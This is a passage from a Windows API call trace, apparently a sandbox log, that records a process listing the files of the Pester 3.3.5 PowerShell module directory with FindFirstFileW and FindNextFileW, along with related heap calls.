ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x0, dwReserved1=0x0, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0269.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1 [0269.469] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x0, dwReserved1=0x0, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0269.469] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1 [0269.469] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1 [0269.469] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x0, cFileName="Should.ps1", cAlternateFileName="")) returned 1 [0269.469] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1 [0269.469] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1 [0269.469] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0 [0269.469] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0269.470] GetProcessHeap () returned 0xc10000 [0269.470] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0269.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0269.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0269.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0269.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0269.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0269.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0269.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0269.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0269.472] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1 [0269.472] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0269.472] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0269.472] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0269.472] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0269.472] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0269.473] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0269.474] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0269.474] GetProcessHeap () returned 0xc10000 [0269.474] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x62de, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b06, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.md", cAlternateFileName="")) returned 1 [0269.475] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 1 [0269.475] GetProcessHeap () returned 0xc10000 [0269.475] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0269.573] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.573] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, 